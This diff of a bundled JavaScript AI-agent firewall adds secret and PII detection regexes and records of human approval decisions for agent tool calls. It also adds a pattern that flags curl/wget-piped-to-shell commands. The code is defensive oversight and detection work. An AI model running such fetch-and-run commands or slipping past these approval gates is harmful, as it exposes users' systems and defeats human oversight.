12109
|
+
CIPHER_KEY_VALUE_RE = /([A-Za-z0-9+/]{22}==)$/;
|
|
12110
|
+
LARAVEL_KEY_VALUE_RE = /base64:([A-Za-z0-9+/]{43}=)$/;
|
|
12111
|
+
SQL_PASSWORD_VALUE_RE = /['"]([^'"\s]{8,128})['"]$/;
|
|
12112
|
+
GRAFANA_KEY_VALUE_RE = /(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})$/;
|
|
11324
12113
|
BASIC_VALUE_RE = /([A-Za-z0-9+/]{8,512}={0,2})$/;
|
|
11325
12114
|
BASIC_PAIR_RE = /^([^:\s]{1,128}):(\S{8,256})$/;
|
|
11326
12115
|
OTP_CAPTURE_RE = /["']([A-Z2-7]{16,128}=*)["']$/i;
|
|
12116
|
+
DB_URL_PASSWORD_RE = /:\/\/[^:/\s@]*:([^@\s]{4,})@/;
|
|
11327
12117
|
DLP_PATTERNS = [
|
|
11328
12118
|
// ── AWS ───────────────────────────────────────────────────────────────────
|
|
11329
12119
|
{
|
|
@@ -11521,7 +12311,8 @@ zoo`.split("\n");
|
|
|
11521
12311
|
// ── Private keys (PEM) ────────────────────────────────────────────────────
|
|
11522
12312
|
{
|
|
11523
12313
|
name: "Private Key (PEM)",
|
|
11524
|
-
|
|
12314
|
+
// DSA and ENCRYPTED headers, and a PGP private key block (node9Firewall#385).
|
|
12315
|
+
regex: /-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED |PGP )?PRIVATE KEY(?: BLOCK)?-----/,
|
|
11525
12316
|
severity: "block",
|
|
11526
12317
|
keywords: ["-----begin"]
|
|
11527
12318
|
},
|
|
@@ -11802,7 +12593,7 @@ zoo`.split("\n");
|
|
|
11802
12593
|
"clickhouse",
|
|
11803
12594
|
"cassandra"
|
|
11804
12595
|
],
|
|
11805
|
-
|
|
12596
|
+
validate: validateDbConnectionString
|
|
11806
12597
|
},
|
|
11807
12598
|
// ── Credential in a URL query value ───────────────────────────────────────
|
|
11808
12599
|
// A query parameter whose key names a secret (`?secret=`, `&apiKey=`,
|
|
@@ -11831,6 +12622,63 @@ zoo`.split("\n");
|
|
|
11831
12622
|
redactGroup: 1,
|
|
11832
12623
|
argumentsOnly: true
|
|
11833
12624
|
},
|
|
12625
|
+
// ── Shapes from the CredData review (fw#372 B4, node9Firewall#385) ────────
|
|
12626
|
+
// All review and argumentsOnly, like Assigned Secret: the live gate asks,
|
|
12627
|
+
// the raw scanners stay as they were.
|
|
12628
|
+
{
|
|
12629
|
+
name: "Cipher Key Literal",
|
|
12630
|
+
regex: /\b([A-Za-z_][\w.]{0,40}key)[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/]{22}==)/i,
|
|
12631
|
+
severity: "review",
|
|
12632
|
+
keywords: ["key"],
|
|
12633
|
+
validate: validateCipherKeyLiteral,
|
|
12634
|
+
redactGroup: 2,
|
|
12635
|
+
argumentsOnly: true
|
|
12636
|
+
},
|
|
12637
|
+
{
|
|
12638
|
+
name: "Laravel App Key",
|
|
12639
|
+
regex: /\bAPP_KEY[ \t]{0,8}=[ \t]{0,8}["']?(base64:[A-Za-z0-9+/]{43}=)/,
|
|
12640
|
+
severity: "review",
|
|
12641
|
+
keywords: ["app_key"],
|
|
12642
|
+
validate: validateLaravelAppKey,
|
|
12643
|
+
redactGroup: 1,
|
|
12644
|
+
argumentsOnly: true
|
|
12645
|
+
},
|
|
12646
|
+
{
|
|
12647
|
+
// `key-` plus 32 hex characters, Mailgun's legacy private key shape.
|
|
12648
|
+
name: "Mailgun API Key",
|
|
12649
|
+
regex: /\bkey-[0-9a-f]{32}\b/,
|
|
12650
|
+
severity: "review",
|
|
12651
|
+
keywords: ["key-"],
|
|
12652
|
+
argumentsOnly: true
|
|
12653
|
+
},
|
|
12654
|
+
{
|
|
12655
|
+
// A kubeadm bootstrap token, named as one by its flag or key.
|
|
12656
|
+
name: "Kubeadm Bootstrap Token",
|
|
12657
|
+
regex: /(?:--token[= ]|\btoken:[ \t]{0,8}|--discovery-token[= ])([a-z0-9]{6}\.[a-z0-9]{16})\b/,
|
|
12658
|
+
severity: "review",
|
|
12659
|
+
keywords: ["token"],
|
|
12660
|
+
redactGroup: 1,
|
|
12661
|
+
argumentsOnly: true
|
|
12662
|
+
},
|
|
12663
|
+
{
|
|
12664
|
+
// `CREATE USER ... IDENTIFIED BY 'x'` (MySQL, Oracle), `WITH PASSWORD 'x'` (Postgres).
|
|
12665
|
+
name: "SQL Account Password",
|
|
12666
|
+
regex: /\b(?:IDENTIFIED\s+BY|WITH\s+PASSWORD)\s*['"]([^'"\s]{8,128})['"]/i,
|
|
12667
|
+
severity: "review",
|
|
12668
|
+
keywords: ["identified by", "with password"],
|
|
12669
|
+
validate: validateSqlPassword,
|
|
12670
|
+
redactGroup: 1,
|
|
12671
|
+
argumentsOnly: true
|
|
12672
|
+
},
|
|
12673
|
+
{
|
|
12674
|
+
// The provisioned (legacy) Grafana API key: base64 of a JSON object with k, n and id.
|
|
12675
|
+
name: "Grafana API Key",
|
|
12676
|
+
regex: /\b(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})/,
|
|
12677
|
+
severity: "block",
|
|
12678
|
+
keywords: ["eyjrijoi"],
|
|
12679
|
+
validate: validateGrafanaApiKey,
|
|
12680
|
+
redactGroup: 1
|
|
12681
|
+
},
|
|
11834
12682
|
// ── Secret assigned to a telling name ─────────────────────────────────────
|
|
11835
12683
|
// `password: ...`, `JWT_SECRET=...`, `api_key = "..."`. The name alone is
|
|
11836
12684
|
// not a finding: most such lines hold a reference (`process.env.X`), a
|
|
@@ -11843,7 +12691,10 @@ zoo`.split("\n");
|
|
|
11843
12691
|
// name are written out, not as a counted group, to keep star height 1.
|
|
11844
12692
|
{
|
|
11845
12693
|
name: "Assigned Secret",
|
|
11846
|
-
|
|
12694
|
+
// fw#372 B4: `aes_key`, `cipher_key`, `subscription_key` join the names; a
|
|
12695
|
+
// backtick may close the name; `|` and `\` may occur in the value
|
|
12696
|
+
// (`\/` is how JSON escapes a slash).
|
|
12697
|
+
regex: /(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|\bpass(?![A-Za-z0-9])|_pass(?![A-Za-z0-9]))[A-Za-z0-9_]{0,40}\\?["'\]`]?\\?["'\]`]?[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})/i,
|
|
11847
12698
|
severity: "review",
|
|
11848
12699
|
keywords: ["pass", "pwd", "secret", "token", "key", "ticket"],
|
|
11849
12700
|
validate: validateAssignedSecret,
|
|
@@ -12538,21 +13389,13 @@ zoo`.split("\n");
|
|
|
12538
13389
|
["preview_start", ["url"]],
|
|
12539
13390
|
["browser_batch", ["actions[].input.url"]]
|
|
12540
13391
|
]);
|
|
12541
|
-
|
|
12542
|
-
|
|
12543
|
-
|
|
12544
|
-
|
|
12545
|
-
|
|
12546
|
-
|
|
12547
|
-
|
|
12548
|
-
maxJoinedLabelBytes: 1048576,
|
|
12549
|
-
/** Decoded fragments are matched in batches of about this many characters. */
|
|
12550
|
-
batchCharacters: 65536,
|
|
12551
|
-
/** Only a valid DNS name has its labels joined. */
|
|
12552
|
-
maxHostLength: 253,
|
|
12553
|
-
maxLabelLength: 63,
|
|
12554
|
-
maxLabels: 127
|
|
12555
|
-
};
|
|
13392
|
+
MCP_DESTINATION_KEYS = [
|
|
13393
|
+
"destination",
|
|
13394
|
+
"endpoint",
|
|
13395
|
+
"webhook",
|
|
13396
|
+
"webhook_url",
|
|
13397
|
+
"callback_url"
|
|
13398
|
+
];
|
|
12556
13399
|
ARGUMENT_SCAN_LIMITS = {
|
|
12557
13400
|
maxDepth: 12,
|
|
12558
13401
|
maxNodes: 16384,
|
|
@@ -12613,11 +13456,67 @@ zoo`.split("\n");
|
|
|
12613
13456
|
PII_EMAIL_RE = /\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b/;
|
|
12614
13457
|
PII_SSN_RE = /\b\d{3}-\d{2}-\d{4}\b/;
|
|
12615
13458
|
PII_PHONE_RE = /\b(?:\+?1[-.\s]?)?\(?\d{3}\)?[-.\s]\d{3}[-.\s]\d{4}\b/;
|
|
12616
|
-
PII_CC16_RE = /\b(?:4\d{3}|5[1-5]\d{2}|6\d{3})[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}\b/;
|
|
12617
|
-
PII_CC15_RE = /\b3[47]\d{2}[-\s]?\d{6}[-\s]?\d{5}\b/;
|
|
13459
|
+
PII_CC16_RE = /\b(?:4\d{3}|5[1-5]\d{2}|2(?:22[1-9]|2[3-9]\d|[3-6]\d\d|7[01]\d|720)|6\d{3}|35(?:2[89]|[3-8]\d)|220[0-4])[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{4}\b/;
|
|
13460
|
+
PII_CC15_RE = /\b3[47]\d{2}[-\s.]?\d{6}[-\s.]?\d{5}\b/;
|
|
13461
|
+
PII_CC14_RE = /\b3(?:0[0-5]\d|[68]\d\d)[-\s.]?\d{6}[-\s.]?\d{4}\b/;
|
|
13462
|
+
PII_CC13_RE = /\b4\d{3}[-\s.]?\d{3}[-\s.]?\d{3}[-\s.]?\d{3}\b/;
|
|
13463
|
+
PII_CC19_RE = /\b4\d{3}[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{3}\b/;
|
|
13464
|
+
CARD_PATTERNS = [PII_CC16_RE, PII_CC15_RE, PII_CC14_RE, PII_CC13_RE, PII_CC19_RE];
|
|
13465
|
+
PII_ROUTING_RE = /\b\d{9}\b/;
|
|
13466
|
+
ROUTING_LABEL_RE = /\b(?:routing|aba|rtn)\b/i;
|
|
13467
|
+
ROUTING_LABEL_WINDOW = 24;
|
|
13468
|
+
NATIONAL_ID_SHAPES = [
|
|
13469
|
+
{ regex: /\b[A-Z]{6}\d{2}[A-EHLMPRST]\d{2}[A-Z]\d{3}[A-Z]\b/, validate: validateCodiceFiscale },
|
|
13470
|
+
{ regex: /\b(?:\d{8}|[XYZ]\d{7})[A-Z]\b/, validate: validateSpanishId },
|
|
13471
|
+
{ regex: /\b756\.\d{4}\.\d{4}\.\d{2}\b/, validate: validateSwissAhv },
|
|
13472
|
+
{ regex: /\bCHE-\d{3}\.\d{3}\.\d{3}\b/i, validate: validateSwissUid },
|
|
13473
|
+
{
|
|
13474
|
+
regex: /\b[12] ?\d{2} ?(?:0[1-9]|1[0-2]|[2-9]\d) ?(?:\d{2}|2[AB]) ?\d{3} ?\d{3} ?\d{2}\b/,
|
|
13475
|
+
validate: validateNir
|
|
13476
|
+
},
|
|
13477
|
+
// PESEL and CNP are bare 11- and 13-digit runs: a millisecond timestamp
|
|
13478
|
+
// passes the CNP rules about 1 time in 400 and a random 11-digit id passes
|
|
13479
|
+
// PESEL about 1 in 50 (measured), so both need their name nearby.
|
|
13480
|
+
{ regex: /\b\d{11}\b/, validate: validatePesel, labelled: true },
|
|
13481
|
+
{ regex: /\b[1-9]\d{12}\b/, validate: validateCnp, labelled: true },
|
|
13482
|
+
{ regex: /\b\d{6}[-+]\d{4}\b/, validate: validateSwedishPersonnummer, labelled: true },
|
|
13483
|
+
{ regex: /\b\d{11}\b/, validate: validateNorwegianFnr, labelled: true },
|
|
13484
|
+
{ regex: /\b\d{6}[-+A-FU-Y]\d{3}[0-9A-Y]\b/, validate: validateFinnishHetu, labelled: true }
|
|
13485
|
+
];
|
|
13486
|
+
NATIONAL_ID_LABEL_RE = /\b(?:personnummer|personal identity number|f[øo]dselsnummer|hetu|henkil[öo]tunnus|pesel|cnp|cod numeric personal|codul numeric personal|national id(?:entification)?(?: number)?)\b/i;
|
|
13487
|
+
NATIONAL_ID_LABEL_WINDOW = 32;
|
|
13488
|
+
NATIONAL_ID_GUARD_RE = /\d{3}|[A-Z]{6}\d{2}/;
|
|
12618
13489
|
PII_IBAN_RE = /\b[A-Z]{2}\d{2}(?:[A-Z0-9]|[ -][A-Z0-9]){11,30}\b/;
|
|
12619
|
-
REALTIME_PII_PATTERNS = [
|
|
13490
|
+
REALTIME_PII_PATTERNS = [
|
|
13491
|
+
"SSN",
|
|
13492
|
+
"Credit Card",
|
|
13493
|
+
"IBAN",
|
|
13494
|
+
"Bank Routing Number",
|
|
13495
|
+
"National ID"
|
|
13496
|
+
];
|
|
12620
13497
|
MAX_PII_SCAN_BYTES = 1e5;
|
|
13498
|
+
IBAN_DESTINATION_KEYS = /* @__PURE__ */ new Set([
|
|
13499
|
+
"to",
|
|
13500
|
+
"recipient",
|
|
13501
|
+
"recipients",
|
|
13502
|
+
"payee",
|
|
13503
|
+
"beneficiary",
|
|
13504
|
+
"destination",
|
|
13505
|
+
"iban",
|
|
13506
|
+
"account",
|
|
13507
|
+
"account_number",
|
|
13508
|
+
"accountnumber"
|
|
13509
|
+
]);
|
|
13510
|
+
WHOLE_IBAN_RE = /^[A-Z]{2}\d{2}[A-Z0-9 -]{11,34}$/;
|
|
13511
|
+
JSON_ESCAPE_RE = /\\(?:[ntr"\\/]|u[0-9a-fA-F]{4})/g;
|
|
13512
|
+
JSON_ESCAPES = {
|
|
13513
|
+
n: "\n",
|
|
13514
|
+
t: " ",
|
|
13515
|
+
r: "\r",
|
|
13516
|
+
'"': '"',
|
|
13517
|
+
"\\": "\\",
|
|
13518
|
+
"/": "/"
|
|
13519
|
+
};
|
|
12621
13520
|
MASKED_KINDS = /* @__PURE__ */ new Set(["email", "iban", "account"]);
|
|
12622
13521
|
ENTRY_RE = /^(email|iban|account):([^#\s]{1,200}(?: [^#\s]{1,40}){0,4})#sha256:([0-9a-f]{64})$/;
|
|
12623
13522
|
IBAN_TEXT_RE = /\b[A-Z]{2}\d{2}(?:[ -]?[A-Z0-9]{4}){2,7}(?:[ -]?[A-Z0-9]{1,4})?\b/gi;
|
|
@@ -12953,6 +13852,9 @@ function appendLocalAudit(toolName, args, decision, checkedBy, meta, auditHashAr
|
|
|
12953
13852
|
...transcriptPathField,
|
|
12954
13853
|
...taintFields,
|
|
12955
13854
|
...exposureFields,
|
|
13855
|
+
...meta?.decidedBy && { decidedBy: meta.decidedBy },
|
|
13856
|
+
...meta?.channel && { channel: meta.channel },
|
|
13857
|
+
...meta?.cardId && { cardId: meta.cardId },
|
|
12956
13858
|
...testRun,
|
|
12957
13859
|
agent: meta?.agent,
|
|
12958
13860
|
mcpServer: meta?.mcpServer,
|
|
@@ -13185,8 +14087,8 @@ var ConfigFileSchema = import_zod.z.object({
|
|
|
13185
14087
|
}).strict();
|
|
13186
14088
|
function formatIssues(issues) {
|
|
13187
14089
|
const lines = issues.map((issue) => {
|
|
13188
|
-
const
|
|
13189
|
-
return ` \u2022 ${
|
|
14090
|
+
const path27 = issue.path.length > 0 ? issue.path.map(String).join(".") : "root";
|
|
14091
|
+
return ` \u2022 ${path27}: ${issue.message}`;
|
|
13190
14092
|
});
|
|
13191
14093
|
return `Invalid config:
|
|
13192
14094
|
${lines.join("\n")}`;
|
|
@@ -13199,9 +14101,9 @@ function prunePaths(root, paths) {
|
|
|
13199
14101
|
const yi = y[y.length - 1];
|
|
13200
14102
|
return typeof xi === "number" && typeof yi === "number" ? yi - xi : 0;
|
|
13201
14103
|
});
|
|
13202
|
-
for (const
|
|
14104
|
+
for (const path27 of ordered) {
|
|
13203
14105
|
let cur = root;
|
|
13204
|
-
for (const key of
|
|
14106
|
+
for (const key of path27.slice(0, -1)) {
|
|
13205
14107
|
if (cur === null || typeof cur !== "object") {
|
|
13206
14108
|
cur = void 0;
|
|
13207
14109
|
break;
|
|
@@ -13209,7 +14111,7 @@ function prunePaths(root, paths) {
|
|
|
13209
14111
|
cur = cur[key];
|
|
13210
14112
|
}
|
|
13211
14113
|
if (cur === null || typeof cur !== "object") continue;
|
|
13212
|
-
const last =
|
|
14114
|
+
const last = path27[path27.length - 1];
|
|
13213
14115
|
if (Array.isArray(cur)) {
|
|
13214
14116
|
const i = Number(last);
|
|
13215
14117
|
if (Number.isInteger(i) && i >= 0 && i < cur.length) {
|
|
@@ -13245,7 +14147,7 @@ function sanitizeConfig(raw) {
|
|
|
13245
14147
|
return issue.keys.map((k) => [...at, k]);
|
|
13246
14148
|
}
|
|
13247
14149
|
return [at.slice(0, -level || void 0)];
|
|
13248
|
-
}).filter((
|
|
14150
|
+
}).filter((path27) => path27.length > 0);
|
|
13249
14151
|
if (paths.length === 0 || !prunePaths(working, paths)) break;
|
|
13250
14152
|
}
|
|
13251
14153
|
if (ConfigFileSchema.safeParse(working).success) break;
|
|
@@ -13980,8 +14882,10 @@ var DEFAULT_CONFIG = {
|
|
|
13980
14882
|
// Downloader and sink groups mirror the engine's DOWNLOAD_CMDS and
|
|
13981
14883
|
// SHELL_INTERPRETERS; pipe-to-shell-vocabulary-drift.spec.ts fails if
|
|
13982
14884
|
// either list gains a name this regex does not. The PowerShell sinks
|
|
13983
|
-
// carry \b so `iex` cannot match inside e.g. `iexplore
|
|
13984
|
-
|
|
14885
|
+
// carry \b so `iex` cannot match inside e.g. `iexplore`, and so does
|
|
14886
|
+
// `sh`, so a quoted body containing `| Shipment` is not a shell
|
|
14887
|
+
// (fw#372 X3, node9Firewall#332).
|
|
14888
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh\\b|(?:iex|invoke-expression|powershell|pwsh)\\b)",
|
|
13985
14889
|
flags: "i"
|
|
13986
14890
|
}
|
|
13987
14891
|
],
|
|
@@ -14644,13 +15548,13 @@ function getConfig(cwd) {
|
|
|
14644
15548
|
}
|
|
14645
15549
|
if (Array.isArray(mc.jailPaths)) {
|
|
14646
15550
|
for (const jp of mc.jailPaths) {
|
|
14647
|
-
const
|
|
14648
|
-
if (!
|
|
15551
|
+
const path27 = typeof jp?.path === "string" ? jp.path.trim() : "";
|
|
15552
|
+
if (!path27) continue;
|
|
14649
15553
|
const verdict = jp?.verdict === "review" ? "review" : "block";
|
|
14650
|
-
for (const r of pathRules(
|
|
15554
|
+
for (const r of pathRules(path27, verdict, "org-managed jail")) {
|
|
14651
15555
|
mergedPolicy.smartRules.push({ ...r, name: `org:${r.name}` });
|
|
14652
15556
|
}
|
|
14653
|
-
mergedPolicy.managedJailPaths.push({ path:
|
|
15557
|
+
mergedPolicy.managedJailPaths.push({ path: path27, verdict });
|
|
14654
15558
|
}
|
|
14655
15559
|
}
|
|
14656
15560
|
if (Array.isArray(mc.trustedHosts)) {
|
|
@@ -14960,8 +15864,8 @@ function scanFilePath(filePath, cwd = process.cwd(), options = {}) {
|
|
|
14960
15864
|
if (!filePath) return null;
|
|
14961
15865
|
let resolved;
|
|
14962
15866
|
try {
|
|
14963
|
-
const
|
|
14964
|
-
resolved = import_fs5.default.realpathSync.native(
|
|
15867
|
+
const absolute2 = import_path5.default.resolve(cwd, filePath);
|
|
15868
|
+
resolved = import_fs5.default.realpathSync.native(absolute2);
|
|
14965
15869
|
} catch (err) {
|
|
14966
15870
|
const code = err.code;
|
|
14967
15871
|
if (code === "ENOENT" || code === "ENOTDIR") {
|
|
@@ -15340,9 +16244,159 @@ function getPersistentDecision(toolName) {
|
|
|
15340
16244
|
|
|
15341
16245
|
// src/auth/daemon.ts
|
|
15342
16246
|
var import_fs10 = __toESM(require("fs"));
|
|
16247
|
+
var import_http = __toESM(require("http"));
|
|
15343
16248
|
var import_net = __toESM(require("net"));
|
|
15344
16249
|
var import_path10 = __toESM(require("path"));
|
|
15345
16250
|
var import_os8 = __toESM(require("os"));
|
|
16251
|
+
|
|
16252
|
+
// src/auth/decision-record.ts
|
|
16253
|
+
var CHANNELS = ["terminal", "monitor", "native", "cloud"];
|
|
16254
|
+
var PERSON_CHANNELS = /* @__PURE__ */ new Set([
|
|
16255
|
+
"terminal",
|
|
16256
|
+
"monitor",
|
|
16257
|
+
"native"
|
|
16258
|
+
]);
|
|
16259
|
+
var CARD_PROTOCOL = 2;
|
|
16260
|
+
var PERSON_LABELS = {
|
|
16261
|
+
terminal: "User Decision (Terminal (node9 tail))",
|
|
16262
|
+
monitor: "User Decision (node9 monitor)",
|
|
16263
|
+
native: "User Decision (Native)"
|
|
16264
|
+
};
|
|
16265
|
+
var REDIRECT_LABEL = "Steered Redirect (Terminal)";
|
|
16266
|
+
var TIMER_LABEL = "Approval Timeout";
|
|
16267
|
+
var CLOUD_LABEL = "Organization Policy (SaaS)";
|
|
16268
|
+
var ABANDONED_LABEL = "No Approver (node9 tail closed)";
|
|
16269
|
+
function personRecord(channel, decision, extra = {}, now = Date.now()) {
|
|
16270
|
+
return {
|
|
16271
|
+
decision,
|
|
16272
|
+
decidedBy: "person",
|
|
16273
|
+
channel,
|
|
16274
|
+
label: extra.redirect ? REDIRECT_LABEL : PERSON_LABELS[channel],
|
|
16275
|
+
...extra,
|
|
16276
|
+
decidedAt: now
|
|
16277
|
+
};
|
|
16278
|
+
}
|
|
16279
|
+
function timerRecord(timeoutMs, now = Date.now()) {
|
|
16280
|
+
return {
|
|
16281
|
+
decision: "deny",
|
|
16282
|
+
decidedBy: "timer",
|
|
16283
|
+
label: TIMER_LABEL,
|
|
16284
|
+
reason: `No response within ${Math.round(timeoutMs / 1e3)}s: auto-denied by the approval timeout.`,
|
|
16285
|
+
decidedAt: now
|
|
16286
|
+
};
|
|
16287
|
+
}
|
|
16288
|
+
function abandonedRecord(now = Date.now()) {
|
|
16289
|
+
return {
|
|
16290
|
+
decision: "deny",
|
|
16291
|
+
decidedBy: "abandoned",
|
|
16292
|
+
label: ABANDONED_LABEL,
|
|
16293
|
+
reason: "No approver was left to answer: node9 tail was closed.",
|
|
16294
|
+
decidedAt: now
|
|
16295
|
+
};
|
|
16296
|
+
}
|
|
16297
|
+
var DECIDED_BY = /* @__PURE__ */ new Set([
|
|
16298
|
+
"person",
|
|
16299
|
+
"timer",
|
|
16300
|
+
"cloud",
|
|
16301
|
+
"policy",
|
|
16302
|
+
"abandoned"
|
|
16303
|
+
]);
|
|
16304
|
+
var STANDING = /* @__PURE__ */ new Set([
|
|
16305
|
+
"always-allow",
|
|
16306
|
+
"always-deny",
|
|
16307
|
+
"trust",
|
|
16308
|
+
"trust-recipients"
|
|
16309
|
+
]);
|
|
16310
|
+
function boundedString(v, max) {
|
|
16311
|
+
return typeof v === "string" && v.length > 0 ? v.slice(0, max) : void 0;
|
|
16312
|
+
}
|
|
16313
|
+
function parseDecisionRecord(x) {
|
|
16314
|
+
if (!x || typeof x !== "object") return null;
|
|
16315
|
+
const r = x;
|
|
16316
|
+
if (r.decision !== "allow" && r.decision !== "deny") return null;
|
|
16317
|
+
if (typeof r.decidedBy !== "string" || !DECIDED_BY.has(r.decidedBy)) return null;
|
|
16318
|
+
const label2 = boundedString(r.label, 200);
|
|
16319
|
+
if (!label2) return null;
|
|
16320
|
+
const channel = typeof r.channel === "string" && CHANNELS.includes(r.channel) ? r.channel : void 0;
|
|
16321
|
+
if (r.decidedBy === "person" && (!channel || !PERSON_CHANNELS.has(channel))) return null;
|
|
16322
|
+
const out = {
|
|
16323
|
+
decision: r.decision,
|
|
16324
|
+
decidedBy: r.decidedBy,
|
|
16325
|
+
label: label2,
|
|
16326
|
+
decidedAt: typeof r.decidedAt === "number" && Number.isFinite(r.decidedAt) ? r.decidedAt : 0
|
|
16327
|
+
};
|
|
16328
|
+
if (channel) out.channel = channel;
|
|
16329
|
+
const redirect = boundedString(r.redirect, 2e3);
|
|
16330
|
+
if (redirect) out.redirect = redirect;
|
|
16331
|
+
const reason = boundedString(r.reason, 2e3);
|
|
16332
|
+
if (reason) out.reason = reason;
|
|
16333
|
+
const ruleName = boundedString(r.ruleName, 256);
|
|
16334
|
+
if (ruleName) out.ruleName = ruleName;
|
|
16335
|
+
if (typeof r.standing === "string" && STANDING.has(r.standing))
|
|
16336
|
+
out.standing = r.standing;
|
|
16337
|
+
const trustDuration = boundedString(r.trustDuration, 8);
|
|
16338
|
+
if (trustDuration) out.trustDuration = trustDuration;
|
|
16339
|
+
return out;
|
|
16340
|
+
}
|
|
16341
|
+
function legacyWaitFields(record) {
|
|
16342
|
+
switch (record.decidedBy) {
|
|
16343
|
+
case "person": {
|
|
16344
|
+
const source = record.redirect ? "terminal-redirect" : record.channel === "native" ? "native" : "terminal";
|
|
16345
|
+
const reason = record.redirect ?? record.reason;
|
|
16346
|
+
return { decision: record.decision, source, ...reason && { reason } };
|
|
16347
|
+
}
|
|
16348
|
+
case "timer":
|
|
16349
|
+
return {
|
|
16350
|
+
decision: record.decision,
|
|
16351
|
+
source: "timeout",
|
|
16352
|
+
...record.reason && { reason: record.reason }
|
|
16353
|
+
};
|
|
16354
|
+
case "cloud":
|
|
16355
|
+
case "policy":
|
|
16356
|
+
return {
|
|
16357
|
+
decision: record.decision,
|
|
16358
|
+
source: record.decidedBy,
|
|
16359
|
+
...record.reason && { reason: record.reason }
|
|
16360
|
+
};
|
|
16361
|
+
case "abandoned":
|
|
16362
|
+
return { decision: "abandoned" };
|
|
16363
|
+
}
|
|
16364
|
+
}
|
|
16365
|
+
function recordFromLegacyWait(body, now = Date.now()) {
|
|
16366
|
+
if (body.decision === "abandoned") return abandonedRecord(now);
|
|
16367
|
+
const decision = body.decision;
|
|
16368
|
+
switch (body.source) {
|
|
16369
|
+
case "terminal":
|
|
16370
|
+
case "browser":
|
|
16371
|
+
return personRecord("terminal", decision, body.reason ? { reason: body.reason } : {}, now);
|
|
16372
|
+
case "native":
|
|
16373
|
+
return personRecord("native", decision, {}, now);
|
|
16374
|
+
case "terminal-redirect":
|
|
16375
|
+
return personRecord("terminal", decision, body.reason ? { redirect: body.reason } : {}, now);
|
|
16376
|
+
case "timeout":
|
|
16377
|
+
return { ...timerRecord(0, now), ...body.reason && { reason: body.reason } };
|
|
16378
|
+
case "cloud":
|
|
16379
|
+
return {
|
|
16380
|
+
decision,
|
|
16381
|
+
decidedBy: "cloud",
|
|
16382
|
+
label: CLOUD_LABEL,
|
|
16383
|
+
...body.reason && { reason: body.reason },
|
|
16384
|
+
decidedAt: now
|
|
16385
|
+
};
|
|
16386
|
+
case "policy":
|
|
16387
|
+
return {
|
|
16388
|
+
decision,
|
|
16389
|
+
decidedBy: "policy",
|
|
16390
|
+
label: "Policy",
|
|
16391
|
+
...body.reason && { reason: body.reason },
|
|
16392
|
+
decidedAt: now
|
|
16393
|
+
};
|
|
16394
|
+
default:
|
|
16395
|
+
return null;
|
|
16396
|
+
}
|
|
16397
|
+
}
|
|
16398
|
+
|
|
16399
|
+
// src/auth/daemon.ts
|
|
15346
16400
|
var ACTIVITY_SOCKET_PATH = process.platform === "win32" ? "\\\\.\\pipe\\node9-activity" : import_path10.default.join(import_os8.default.tmpdir(), "node9-activity.sock");
|
|
15347
16401
|
function notifyActivitySocket(data) {
|
|
15348
16402
|
return new Promise((resolve) => {
|
|
@@ -15440,7 +16494,7 @@ async function daemonHasInteractiveApprover(timeoutMs = 400) {
|
|
|
15440
16494
|
return false;
|
|
15441
16495
|
}
|
|
15442
16496
|
}
|
|
15443
|
-
async function registerDaemonEntry(toolName, args, meta, riskMetadata, activityId, cwd, recoveryCommand, skipBackgroundAuth, viewOnly, localSmartRuleMatched, socketActivitySent, sessionId) {
|
|
16497
|
+
async function registerDaemonEntry(toolName, args, meta, riskMetadata, activityId, cwd, recoveryCommand, skipBackgroundAuth, viewOnly, localSmartRuleMatched, socketActivitySent, sessionId, card) {
|
|
15444
16498
|
const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
|
|
15445
16499
|
const ctrl = new AbortController();
|
|
15446
16500
|
const timer = setTimeout(() => ctrl.abort(), 5e3);
|
|
@@ -15466,19 +16520,43 @@ async function registerDaemonEntry(toolName, args, meta, riskMetadata, activityI
|
|
|
15466
16520
|
...skipBackgroundAuth && { skipBackgroundAuth: true },
|
|
15467
16521
|
...viewOnly && { viewOnly: true },
|
|
15468
16522
|
...localSmartRuleMatched && { localSmartRuleMatched: true },
|
|
15469
|
-
...sessionId && { sessionId }
|
|
16523
|
+
...sessionId && { sessionId },
|
|
16524
|
+
...cardFields(card)
|
|
15470
16525
|
}),
|
|
15471
16526
|
signal: ctrl.signal
|
|
15472
16527
|
});
|
|
15473
16528
|
if (!res.ok) throw new Error("Daemon fail");
|
|
15474
|
-
|
|
15475
|
-
return { id, allowCount: allowCount ?? 1 };
|
|
16529
|
+
return registeredCard(await res.json());
|
|
15476
16530
|
} finally {
|
|
15477
16531
|
clearTimeout(timer);
|
|
15478
16532
|
}
|
|
15479
16533
|
}
|
|
16534
|
+
function cardFields(card) {
|
|
16535
|
+
return {
|
|
16536
|
+
// A review card: the hook already decided this call needs a person; the
|
|
16537
|
+
// daemon never checks it again (approval-card design, defect 1).
|
|
16538
|
+
kind: "review",
|
|
16539
|
+
// Protocol 2 makes the card's /wait require the internal token: claim it
|
|
16540
|
+
// only when this process can read the token (a daemon under another uid
|
|
16541
|
+
// is running but its pid file probe fails with EPERM), or every wait
|
|
16542
|
+
// would get 403 and the review would be denied unseen.
|
|
16543
|
+
...getInternalToken() && { protocol: CARD_PROTOCOL },
|
|
16544
|
+
...card?.channels && { channels: card.channels },
|
|
16545
|
+
...typeof card?.timeoutMs === "number" && { timeoutMs: card.timeoutMs }
|
|
16546
|
+
};
|
|
16547
|
+
}
|
|
16548
|
+
function registeredCard(body) {
|
|
16549
|
+
